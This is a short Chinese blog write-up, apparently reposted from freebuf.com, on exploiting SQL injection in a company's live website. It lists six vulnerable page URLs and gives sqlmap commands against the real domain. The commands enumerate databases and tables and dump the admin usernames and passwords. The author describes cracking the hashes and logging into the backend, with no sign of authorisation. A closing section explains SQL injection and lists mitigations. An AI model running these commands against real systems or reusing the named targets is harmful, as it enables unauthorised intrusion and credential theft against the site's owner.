前言
某集团股份有限公司网站存在SQL注入漏洞
发现过程
用针对性工具扫描(这里使用的是超级SQL注入工具)问题网站,得到以下链接均存在SQL注入漏洞
问题URL:
fuwu_fanwei.php?fid=1
fuwu_zhichi.php?zid=5
video.php?video_id=1
news.php?nid=1
about.php?aid=1
fuwu_fanwei_content.php?fid=1&id=1
漏洞利用
这里使用sqlmap进行注入
sqlmap -u XX/fuwu_fanwei.php?fid=1 –dbs –batch
检测库:
sqlmap -u XX/fuwu_fanwei.php?fid=1 –tables -D sq_zhengxing1
检测sq_zhengxing1库中表:
sqlmap -u XX/fuwu_fanwei.php?fid=1 –column -T adminuser -D sq_zhengxing1
检测adminuser表中字段:
sqlmap -u http://shzxjsjt.com/fuwu_fanwei.php?fid=1 -C username/password -T adminuser -D sq_zhengxing1 –dump
检测username和password的值:
最后破解哈希还得到了弱口令
工具扫描获得后台地址:
利用弱口令成功登录:
总结
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
解决SQL注入的方法有:
1.对用户进行分级管理,严格控制用户的权限。
2.禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。
3.获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤。
4.程序编写时应尽量使用安全参数来杜绝注入式攻击。
来源:freebuf.com 2021-04-04 15:26:56 by: youhao108
请登录后发表评论
注册